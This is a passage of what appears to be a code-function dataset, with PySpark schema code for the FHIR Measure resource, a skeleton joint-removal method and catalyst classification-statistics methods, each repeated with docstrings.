max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('riskAdjustment', StringType(), True), StructField('rateAggregation', StringType(), True), StructField('rationale', StringType(), True), StructField('clinicalRecommendationStatement', StringType(), True), StructField('improvementNotation', StringType(), True), StructField('definition', ArrayType(StringType()), True), StructField('guidance', StringType(), True), StructField('set', StringType(), True), StructField('group', ArrayType(Measure_GroupSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('supplementalData', ArrayType(Measure_SupplementalDataSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True)])
if (not include_extension):
schema.fields = [(c if (c.name != 'extension') else StructField('extension', StringType(), True)) for c in schema.fields]
return schema | @staticmethod
def get_schema(max_nesting_depth: Optional[int]=6, nesting_depth: int=0, nesting_list: List[str]=[], max_recursion_limit: Optional[int]=2, include_extension: Optional[bool]=False, extension_fields: Optional[List[str]]=['valueBoolean', 'valueCode', 'valueDate', 'valueDateTime', 'valueDecimal', 'valueId', 'valueInteger', 'valuePositiveInt', 'valueString', 'valueTime', 'valueUnsignedInt', 'valueUri', 'valueQuantity'], extension_depth: int=0, max_extension_depth: Optional[int]=2) -> Union[(StructType, DataType)]:
'\n The Measure resource provides the definition of a quality measure.\n\n\n id: The logical id of the resource, as used in the URL for the resource. Once\n assigned, this value never changes.\n\n extension: May be used to represent additional information that is not part of the basic\n definition of the resource. In order to make the use of extensions safe and\n manageable, there is a strict set of governance applied to the definition and\n use of extensions. Though any implementer is allowed to define an extension,\n there is a set of requirements that SHALL be met as part of the definition of\n the extension.\n\n meta: The metadata about the resource. This is content that is maintained by the\n infrastructure. Changes to the content may not always be associated with\n version changes to the resource.\n\n implicitRules: A reference to a set of rules that were followed when the resource was\n constructed, and which must be understood when processing the content.\n\n language: The base language in which the resource is written.\n\n text: A human-readable narrative that contains a summary of the resource, and may be\n used to represent the content of the resource to a human. The narrative need\n not encode all the structured data, but is required to contain sufficient\n detail to make it "clinically safe" for a human to just read the narrative.\n Resource definitions may define what content should be represented in the\n narrative to ensure clinical safety.\n\n contained: These resources do not have an independent existence apart from the resource\n that contains them - they cannot be identified independently, and nor can they\n have their own independent transaction scope.\n\n resourceType: This is a Measure resource\n\n url: An absolute URI that is used to identify this measure when it is referenced in\n a specification, model, design or an instance. This SHALL be a URL, SHOULD be\n globally unique, and SHOULD be an address at which this measure is (or will\n be) published. The URL SHOULD include the major version of the measure. For\n more information see [Technical and Business\n Versions](resource.html#versions).\n\n identifier: A formal identifier that is used to identify this measure when it is\n represented in other formats, or referenced in a specification, model, design\n or an instance.\n\n version: The identifier that is used to identify this version of the measure when it is\n referenced in a specification, model, design or instance. This is an arbitrary\n value managed by the measure author and is not expected to be globally unique.\n For example, it might be a timestamp (e.g. yyyymmdd) if a managed version is\n not available. There is also no expectation that versions can be placed in a\n lexicographical sequence. To provide a version consistent with the Decision\n Support Service specification, use the format Major.Minor.Revision (e.g.\n 1.0.0). For more information on versioning knowledge assets, refer to the\n Decision Support Service specification. Note that a version is required for\n non-experimental active artifacts.\n\n name: A natural language name identifying the measure. This name should be usable as\n an identifier for the module by machine processing applications such as code\n generation.\n\n title: A short, descriptive, user-friendly title for the measure.\n\n status: The status of this measure. Enables tracking the life-cycle of the content.\n\n experimental: A boolean value to indicate that this measure is authored for testing purposes\n (or education/evaluation/marketing), and is not intended to be used for\n genuine usage.\n\n date: The date (and optionally time) when the measure was published. The date must\n change if and when the business version changes and it must change if the\n status code changes. In addition, it should change when the substantive\n content of the measure changes.\n\n publisher: The name of the individual or organization that published the measure.\n\n description: A free text natural language description of the measure from a consumer\'s\n perspective.\n\n purpose: Explaination of why this measure is needed and why it has been designed as it\n has.\n\n usage: A detailed description of how the measure is used from a clinical perspective.\n\n approvalDate: The date on which the resource content was approved by the publisher. Approval\n happens once when the content is officially approved for usage.\n\n lastReviewDate: The date on which the resource content was last reviewed. Review happens\n periodically after approval, but doesn\'t change the original approval date.\n\n effectivePeriod: The period during which the measure content was or is planned to be in active\n use.\n\n useContext: The content was developed with a focus and intent of supporting the contexts\n that are listed. These terms may be used to assist with indexing and searching\n for appropriate measure instances.\n\n jurisdiction: A legal or geographic region in which the measure is intended to be used.\n\n topic: Descriptive topics related to the content of the measure. Topics provide a\n high-level categorization of the type of the measure that can be useful for\n filtering and searching.\n\n contributor: A contributor to the content of the measure, including authors, editors,\n reviewers, and endorsers.\n\n contact: Contact details to assist a user in finding and communicating with the\n publisher.\n\n copyright: A copyright statement relating to the measure and/or its contents. Copyright\n statements are generally legal restrictions on the use and publishing of the\n measure.\n\n relatedArtifact: Related artifacts such as additional documentation, justification, or\n bibliographic references.\n\n library: A reference to a Library resource containing the formal logic used by the\n measure.\n\n disclaimer: Notices and disclaimers regarding the use of the measure, or related to\n intellectual property (such as code systems) referenced by the measure.\n\n scoring: Indicates how the calculation is performed for the measure, including\n proportion, ratio, continuous variable, and cohort. The value set is\n extensible, allowing additional measure scoring types to be represented.\n\n compositeScoring: If this is a composite measure, the scoring method used to combine the\n component measures to determine the composite score.\n\n type: Indicates whether the measure is used to examine a process, an outcome over\n time, a patient-reported outcome, or a structure measure such as utilization.\n\n riskAdjustment: A description of the risk adjustment factors that may impact the resulting\n score for the measure and how they may be accounted for when computing and\n reporting measure results.\n\n rateAggregation: Describes how to combine the information calculated, based on logic in each of\n several populations, into one summarized result.\n\n rationale: Provides a succint statement of the need for the measure. Usually includes\n statements pertaining to importance criterion: impact, gap in care, and\n evidence.\n\n clinicalRecommendationStatement: Provides a summary of relevant clinical guidelines or other clinical\n recommendations supporting the measure.\n\n improvementNotation: Information on whether an increase or decrease in score is the preferred\n result (e.g., a higher score indicates better quality OR a lower score\n indicates better quality OR quality is whthin a range).\n\n definition: Provides a description of an individual term used within the measure.\n\n guidance: Additional guidance for the measure including how it can be used in a clinical\n context, and the intent of the measure.\n\n set: The measure set, e.g. Preventive Care and Screening.\n\n group: A group of population criteria for the measure.\n\n supplementalData: The supplemental data criteria for the measure report, specified as either the\n name of a valid CQL expression within a referenced library, or a valid FHIR\n Resource Path.\n\n '
from spark_fhir_schemas.stu3.complex_types.extension import ExtensionSchema
from spark_fhir_schemas.stu3.complex_types.meta import MetaSchema
from spark_fhir_schemas.stu3.complex_types.narrative import NarrativeSchema
from spark_fhir_schemas.stu3.simple_types.resourcelist import ResourceListSchema
from spark_fhir_schemas.stu3.complex_types.identifier import IdentifierSchema
from spark_fhir_schemas.stu3.complex_types.period import PeriodSchema
from spark_fhir_schemas.stu3.complex_types.usagecontext import UsageContextSchema
from spark_fhir_schemas.stu3.complex_types.codeableconcept import CodeableConceptSchema
from spark_fhir_schemas.stu3.complex_types.contributor import ContributorSchema
from spark_fhir_schemas.stu3.complex_types.contactdetail import ContactDetailSchema
from spark_fhir_schemas.stu3.complex_types.relatedartifact import RelatedArtifactSchema
from spark_fhir_schemas.stu3.complex_types.reference import ReferenceSchema
from spark_fhir_schemas.stu3.complex_types.measure_group import Measure_GroupSchema
from spark_fhir_schemas.stu3.complex_types.measure_supplementaldata import Measure_SupplementalDataSchema
if ((max_recursion_limit and (nesting_list.count('Measure') >= max_recursion_limit)) or (max_nesting_depth and (nesting_depth >= max_nesting_depth))):
return StructType([StructField('id', StringType(), True)])
my_nesting_list: List[str] = (nesting_list + ['Measure'])
schema = StructType([StructField('id', StringType(), True), StructField('extension', ArrayType(ExtensionSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('meta', MetaSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('implicitRules', StringType(), True), StructField('language', StringType(), True), StructField('text', NarrativeSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('contained', ArrayType(ResourceListSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('resourceType', StringType(), True), StructField('url', StringType(), True), StructField('identifier', ArrayType(IdentifierSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('version', StringType(), True), StructField('name', StringType(), True), StructField('title', StringType(), True), StructField('status', StringType(), True), StructField('experimental', BooleanType(), True), StructField('date', StringType(), True), StructField('publisher', StringType(), True), StructField('description', StringType(), True), StructField('purpose', StringType(), True), StructField('usage', StringType(), True), StructField('approvalDate', DateType(), True), StructField('lastReviewDate', DateType(), True), StructField('effectivePeriod', PeriodSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('useContext', ArrayType(UsageContextSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('jurisdiction', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('topic', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('contributor', ArrayType(ContributorSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('contact', ArrayType(ContactDetailSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('copyright', StringType(), True), StructField('relatedArtifact', ArrayType(RelatedArtifactSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('library', ArrayType(ReferenceSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('disclaimer', StringType(), True), StructField('scoring', CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('compositeScoring', CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=(extension_depth + 1), max_extension_depth=max_extension_depth), True), StructField('type', ArrayType(CodeableConceptSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('riskAdjustment', StringType(), True), StructField('rateAggregation', StringType(), True), StructField('rationale', StringType(), True), StructField('clinicalRecommendationStatement', StringType(), True), StructField('improvementNotation', StringType(), True), StructField('definition', ArrayType(StringType()), True), StructField('guidance', StringType(), True), StructField('set', StringType(), True), StructField('group', ArrayType(Measure_GroupSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True), StructField('supplementalData', ArrayType(Measure_SupplementalDataSchema.get_schema(max_nesting_depth=max_nesting_depth, nesting_depth=(nesting_depth + 1), nesting_list=my_nesting_list, max_recursion_limit=max_recursion_limit, include_extension=include_extension, extension_fields=extension_fields, extension_depth=extension_depth, max_extension_depth=max_extension_depth)), True)])
if (not include_extension):
schema.fields = [(c if (c.name != 'extension') else StructField('extension', StringType(), True)) for c in schema.fields]
return schema<|docstring|>The Measure resource provides the definition of a quality measure.
id: The logical id of the resource, as used in the URL for the resource. Once
assigned, this value never changes.
extension: May be used to represent additional information that is not part of the basic
definition of the resource. In order to make the use of extensions safe and
manageable, there is a strict set of governance applied to the definition and
use of extensions. Though any implementer is allowed to define an extension,
there is a set of requirements that SHALL be met as part of the definition of
the extension.
meta: The metadata about the resource. This is content that is maintained by the
infrastructure. Changes to the content may not always be associated with
version changes to the resource.
implicitRules: A reference to a set of rules that were followed when the resource was
constructed, and which must be understood when processing the content.
language: The base language in which the resource is written.
text: A human-readable narrative that contains a summary of the resource, and may be
used to represent the content of the resource to a human. The narrative need
not encode all the structured data, but is required to contain sufficient
detail to make it "clinically safe" for a human to just read the narrative.
Resource definitions may define what content should be represented in the
narrative to ensure clinical safety.
contained: These resources do not have an independent existence apart from the resource
that contains them - they cannot be identified independently, and nor can they
have their own independent transaction scope.
resourceType: This is a Measure resource
url: An absolute URI that is used to identify this measure when it is referenced in
a specification, model, design or an instance. This SHALL be a URL, SHOULD be
globally unique, and SHOULD be an address at which this measure is (or will
be) published. The URL SHOULD include the major version of the measure. For
more information see [Technical and Business
Versions](resource.html#versions).
identifier: A formal identifier that is used to identify this measure when it is
represented in other formats, or referenced in a specification, model, design
or an instance.
version: The identifier that is used to identify this version of the measure when it is
referenced in a specification, model, design or instance. This is an arbitrary
value managed by the measure author and is not expected to be globally unique.
For example, it might be a timestamp (e.g. yyyymmdd) if a managed version is
not available. There is also no expectation that versions can be placed in a
lexicographical sequence. To provide a version consistent with the Decision
Support Service specification, use the format Major.Minor.Revision (e.g.
1.0.0). For more information on versioning knowledge assets, refer to the
Decision Support Service specification. Note that a version is required for
non-experimental active artifacts.
name: A natural language name identifying the measure. This name should be usable as
an identifier for the module by machine processing applications such as code
generation.
title: A short, descriptive, user-friendly title for the measure.
status: The status of this measure. Enables tracking the life-cycle of the content.
experimental: A boolean value to indicate that this measure is authored for testing purposes
(or education/evaluation/marketing), and is not intended to be used for
genuine usage.
date: The date (and optionally time) when the measure was published. The date must
change if and when the business version changes and it must change if the
status code changes. In addition, it should change when the substantive
content of the measure changes.
publisher: The name of the individual or organization that published the measure.
description: A free text natural language description of the measure from a consumer's
perspective.
purpose: Explaination of why this measure is needed and why it has been designed as it
has.
usage: A detailed description of how the measure is used from a clinical perspective.
approvalDate: The date on which the resource content was approved by the publisher. Approval
happens once when the content is officially approved for usage.
lastReviewDate: The date on which the resource content was last reviewed. Review happens
periodically after approval, but doesn't change the original approval date.
effectivePeriod: The period during which the measure content was or is planned to be in active
use.
useContext: The content was developed with a focus and intent of supporting the contexts
that are listed. These terms may be used to assist with indexing and searching
for appropriate measure instances.
jurisdiction: A legal or geographic region in which the measure is intended to be used.
topic: Descriptive topics related to the content of the measure. Topics provide a
high-level categorization of the type of the measure that can be useful for
filtering and searching.
contributor: A contributor to the content of the measure, including authors, editors,
reviewers, and endorsers.
contact: Contact details to assist a user in finding and communicating with the
publisher.
copyright: A copyright statement relating to the measure and/or its contents. Copyright
statements are generally legal restrictions on the use and publishing of the
measure.
relatedArtifact: Related artifacts such as additional documentation, justification, or
bibliographic references.
library: A reference to a Library resource containing the formal logic used by the
measure.
disclaimer: Notices and disclaimers regarding the use of the measure, or related to
intellectual property (such as code systems) referenced by the measure.
scoring: Indicates how the calculation is performed for the measure, including
proportion, ratio, continuous variable, and cohort. The value set is
extensible, allowing additional measure scoring types to be represented.
compositeScoring: If this is a composite measure, the scoring method used to combine the
component measures to determine the composite score.
type: Indicates whether the measure is used to examine a process, an outcome over
time, a patient-reported outcome, or a structure measure such as utilization.
riskAdjustment: A description of the risk adjustment factors that may impact the resulting
score for the measure and how they may be accounted for when computing and
reporting measure results.
rateAggregation: Describes how to combine the information calculated, based on logic in each of
several populations, into one summarized result.
rationale: Provides a succint statement of the need for the measure. Usually includes
statements pertaining to importance criterion: impact, gap in care, and
evidence.
clinicalRecommendationStatement: Provides a summary of relevant clinical guidelines or other clinical
recommendations supporting the measure.
improvementNotation: Information on whether an increase or decrease in score is the preferred
result (e.g., a higher score indicates better quality OR a lower score
indicates better quality OR quality is whthin a range).
definition: Provides a description of an individual term used within the measure.
guidance: Additional guidance for the measure including how it can be used in a clinical
context, and the intent of the measure.
set: The measure set, e.g. Preventive Care and Screening.
group: A group of population criteria for the measure.
supplementalData: The supplemental data criteria for the measure report, specified as either the
name of a valid CQL expression within a referenced library, or a valid FHIR
Resource Path.<|endoftext|> |
e6bfd2aa7707cd9ee08e65aaac2c11c44de37c066f00f85d32c711e7a40150cc | def remove_joints(self, joints_to_remove):
"\n Remove the joints specified in 'joints_to_remove'.\n "
valid_joints = []
for joint in range(len(self._parents)):
if (joint not in joints_to_remove):
valid_joints.append(joint)
for i in range(len(self._parents)):
while (self._parents[i] in joints_to_remove):
self._parents[i] = self._parents[self._parents[i]]
index_offsets = np.zeros(len(self._parents), dtype=int)
new_parents = []
for (i, parent) in enumerate(self._parents):
if (i not in joints_to_remove):
new_parents.append((parent - index_offsets[parent]))
else:
index_offsets[i:] += 1
self._parents = np.array(new_parents)
if (self._joints_left is not None):
new_joints_left = []
for joint in self._joints_left:
if (joint in valid_joints):
new_joints_left.append((joint - index_offsets[joint]))
self._joints_left = new_joints_left
if (self._joints_right is not None):
new_joints_right = []
for joint in self._joints_right:
if (joint in valid_joints):
new_joints_right.append((joint - index_offsets[joint]))
self._joints_right = new_joints_right
self._compute_metadata()
return valid_joints | Remove the joints specified in 'joints_to_remove'. | common/skeleton.py | remove_joints | fsImageries/video-to-pose3D | 574 | python | def remove_joints(self, joints_to_remove):
"\n \n "
valid_joints = []
for joint in range(len(self._parents)):
if (joint not in joints_to_remove):
valid_joints.append(joint)
for i in range(len(self._parents)):
while (self._parents[i] in joints_to_remove):
self._parents[i] = self._parents[self._parents[i]]
index_offsets = np.zeros(len(self._parents), dtype=int)
new_parents = []
for (i, parent) in enumerate(self._parents):
if (i not in joints_to_remove):
new_parents.append((parent - index_offsets[parent]))
else:
index_offsets[i:] += 1
self._parents = np.array(new_parents)
if (self._joints_left is not None):
new_joints_left = []
for joint in self._joints_left:
if (joint in valid_joints):
new_joints_left.append((joint - index_offsets[joint]))
self._joints_left = new_joints_left
if (self._joints_right is not None):
new_joints_right = []
for joint in self._joints_right:
if (joint in valid_joints):
new_joints_right.append((joint - index_offsets[joint]))
self._joints_right = new_joints_right
self._compute_metadata()
return valid_joints | def remove_joints(self, joints_to_remove):
"\n \n "
valid_joints = []
for joint in range(len(self._parents)):
if (joint not in joints_to_remove):
valid_joints.append(joint)
for i in range(len(self._parents)):
while (self._parents[i] in joints_to_remove):
self._parents[i] = self._parents[self._parents[i]]
index_offsets = np.zeros(len(self._parents), dtype=int)
new_parents = []
for (i, parent) in enumerate(self._parents):
if (i not in joints_to_remove):
new_parents.append((parent - index_offsets[parent]))
else:
index_offsets[i:] += 1
self._parents = np.array(new_parents)
if (self._joints_left is not None):
new_joints_left = []
for joint in self._joints_left:
if (joint in valid_joints):
new_joints_left.append((joint - index_offsets[joint]))
self._joints_left = new_joints_left
if (self._joints_right is not None):
new_joints_right = []
for joint in self._joints_right:
if (joint in valid_joints):
new_joints_right.append((joint - index_offsets[joint]))
self._joints_right = new_joints_right
self._compute_metadata()
return valid_joints<|docstring|>Remove the joints specified in 'joints_to_remove'.<|endoftext|> |
d047aa01926c1c3745270ef7c52390cc56c7cb402c6cf054c9a0a85ff1817e24 | def __init__(self, mode: str, num_classes: int=None, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
'Init params\n\n Raises:\n ValueError: if mode is incorrect\n '
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix)
if (mode == 'binary'):
self.statistics_fn = get_binary_statistics
elif (mode == 'multiclass'):
self.statistics_fn = partial(get_multiclass_statistics, num_classes=num_classes)
elif (mode == 'multilabel'):
self.statistics_fn = get_multilabel_statistics
else:
raise ValueError("Mode should be one of 'binary', 'multiclass', 'multilabel'")
self.num_classes = num_classes
self.statistics = None
self._is_ddp = False
self.reset() | Init params
Raises:
ValueError: if mode is incorrect | catalyst/metrics/_classification.py | __init__ | ifixdocs/catalyst | 1 | python | def __init__(self, mode: str, num_classes: int=None, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
'Init params\n\n Raises:\n ValueError: if mode is incorrect\n '
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix)
if (mode == 'binary'):
self.statistics_fn = get_binary_statistics
elif (mode == 'multiclass'):
self.statistics_fn = partial(get_multiclass_statistics, num_classes=num_classes)
elif (mode == 'multilabel'):
self.statistics_fn = get_multilabel_statistics
else:
raise ValueError("Mode should be one of 'binary', 'multiclass', 'multilabel'")
self.num_classes = num_classes
self.statistics = None
self._is_ddp = False
self.reset() | def __init__(self, mode: str, num_classes: int=None, compute_on_call: bool=True, prefix: Optional[str]=None, suffix: Optional[str]=None):
'Init params\n\n Raises:\n ValueError: if mode is incorrect\n '
super().__init__(compute_on_call=compute_on_call, prefix=prefix, suffix=suffix)
if (mode == 'binary'):
self.statistics_fn = get_binary_statistics
elif (mode == 'multiclass'):
self.statistics_fn = partial(get_multiclass_statistics, num_classes=num_classes)
elif (mode == 'multilabel'):
self.statistics_fn = get_multilabel_statistics
else:
raise ValueError("Mode should be one of 'binary', 'multiclass', 'multilabel'")
self.num_classes = num_classes
self.statistics = None
self._is_ddp = False
self.reset()<|docstring|>Init params
Raises:
ValueError: if mode is incorrect<|endoftext|> |
7b46a32be345e44faf0d1acf7929968c8d028ec441d219eaf542b2abfc189443 | def reset(self) -> None:
'Reset all the statistics.'
self.statistics = defaultdict(self._mp_hack)
self._is_ddp = (get_rank() > (- 1)) | Reset all the statistics. | catalyst/metrics/_classification.py | reset | ifixdocs/catalyst | 1 | python | def reset(self) -> None:
self.statistics = defaultdict(self._mp_hack)
self._is_ddp = (get_rank() > (- 1)) | def reset(self) -> None:
self.statistics = defaultdict(self._mp_hack)
self._is_ddp = (get_rank() > (- 1))<|docstring|>Reset all the statistics.<|endoftext|> |
564448435b1560ba8d1e023f7207ec550cbb5717b5ab9418cba21a8ef695bead | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Union[(Tuple[(int, int, int, int, int)], Tuple[(Any, Any, Any, Any, Any)])]:
'\n Compute statistics from outputs and targets, update accumulated statistics with new values.\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n Tuple of int or array: true negative, false positive, false\n negative, true positive and support statistics\n '
(tn, fp, fn, tp, support) = self.statistics_fn(outputs=outputs.cpu().detach(), targets=targets.cpu().detach())
tn = tn.numpy()
fp = fp.numpy()
fn = fn.numpy()
tp = tp.numpy()
support = support.numpy()
self.statistics['tn'] += tn
self.statistics['fp'] += fp
self.statistics['fn'] += fn
self.statistics['tp'] += tp
self.statistics['support'] += support
return (tn, fp, fn, tp, support) | Compute statistics from outputs and targets, update accumulated statistics with new values.
Args:
outputs: prediction values
targets: true answers
Returns:
Tuple of int or array: true negative, false positive, false
negative, true positive and support statistics | catalyst/metrics/_classification.py | update | ifixdocs/catalyst | 1 | python | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Union[(Tuple[(int, int, int, int, int)], Tuple[(Any, Any, Any, Any, Any)])]:
'\n Compute statistics from outputs and targets, update accumulated statistics with new values.\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n Tuple of int or array: true negative, false positive, false\n negative, true positive and support statistics\n '
(tn, fp, fn, tp, support) = self.statistics_fn(outputs=outputs.cpu().detach(), targets=targets.cpu().detach())
tn = tn.numpy()
fp = fp.numpy()
fn = fn.numpy()
tp = tp.numpy()
support = support.numpy()
self.statistics['tn'] += tn
self.statistics['fp'] += fp
self.statistics['fn'] += fn
self.statistics['tp'] += tp
self.statistics['support'] += support
return (tn, fp, fn, tp, support) | def update(self, outputs: torch.Tensor, targets: torch.Tensor) -> Union[(Tuple[(int, int, int, int, int)], Tuple[(Any, Any, Any, Any, Any)])]:
'\n Compute statistics from outputs and targets, update accumulated statistics with new values.\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n Tuple of int or array: true negative, false positive, false\n negative, true positive and support statistics\n '
(tn, fp, fn, tp, support) = self.statistics_fn(outputs=outputs.cpu().detach(), targets=targets.cpu().detach())
tn = tn.numpy()
fp = fp.numpy()
fn = fn.numpy()
tp = tp.numpy()
support = support.numpy()
self.statistics['tn'] += tn
self.statistics['fp'] += fp
self.statistics['fn'] += fn
self.statistics['tp'] += tp
self.statistics['support'] += support
return (tn, fp, fn, tp, support)<|docstring|>Compute statistics from outputs and targets, update accumulated statistics with new values.
Args:
outputs: prediction values
targets: true answers
Returns:
Tuple of int or array: true negative, false positive, false
negative, true positive and support statistics<|endoftext|> |
7d9951f4261277d170d9d116cb06b224195a25f9fcc0eaba92fc9cb660e24c14 | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return statistics intermediate result\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n dict of statistics for current input\n '
(tn, fp, fn, tp, support) = self.update(outputs=outputs, targets=targets)
return {'fn': fn, 'fp': fp, 'support': support, 'tn': tn, 'tp': tp} | Update statistics and return statistics intermediate result
Args:
outputs: prediction values
targets: true answers
Returns:
dict of statistics for current input | catalyst/metrics/_classification.py | update_key_value | ifixdocs/catalyst | 1 | python | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return statistics intermediate result\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n dict of statistics for current input\n '
(tn, fp, fn, tp, support) = self.update(outputs=outputs, targets=targets)
return {'fn': fn, 'fp': fp, 'support': support, 'tn': tn, 'tp': tp} | def update_key_value(self, outputs: torch.Tensor, targets: torch.Tensor) -> Dict[(str, float)]:
'\n Update statistics and return statistics intermediate result\n\n Args:\n outputs: prediction values\n targets: true answers\n\n Returns:\n dict of statistics for current input\n '
(tn, fp, fn, tp, support) = self.update(outputs=outputs, targets=targets)
return {'fn': fn, 'fp': fp, 'support': support, 'tn': tn, 'tp': tp}<|docstring|>Update statistics and return statistics intermediate result
Args:
outputs: prediction values
targets: true answers
Returns:
dict of statistics for current input<|endoftext|> |
50e8463a0148b36f3be23ca9927b56a37837df69614e4b1d1fddb75dad8521bb | def compute(self) -> Dict[(str, Union[(int, np.array)])]:
'\n Return accumulated statistics\n\n Returns:\n dict of statistics\n '
return self.statistics | Return accumulated statistics
Returns:
dict of statistics | catalyst/metrics/_classification.py | compute | ifixdocs/catalyst | 1 | python | def compute(self) -> Dict[(str, Union[(int, np.array)])]:
'\n Return accumulated statistics\n\n Returns:\n dict of statistics\n '
return self.statistics | def compute(self) -> Dict[(str, Union[(int, np.array)])]:
'\n Return accumulated statistics\n\n Returns:\n dict of statistics\n '
return self.statistics<|docstring|>Return accumulated statistics
Returns:
dict of statistics<|endoftext|> |
422f1842bd91686aae09c0a297dea9fc6762a0b72aec253d593c819895e59787 | def compute_key_value(self) -> Dict[(str, float)]:
'\n Return accumulated statistics\n\n Returns:\n dict of statistics\n\n Examples:\n >>> For binary mode: {"tp": 3, "fp": 4, "tn": 5, "fn": 1, "support": 13}\n >>> For other modes: {"tp": np.array([1, 2, 1]), "fp": np.array([2, 1, 0]), ...}\n '
result = self.compute()
return {k: result[k] for k in sorted(result.keys())} | Return accumulated statistics
Returns:
dict of statistics
Examples:
>>> For binary mode: {"tp": 3, "fp": 4, "tn": 5, "fn": 1, "support": 13}
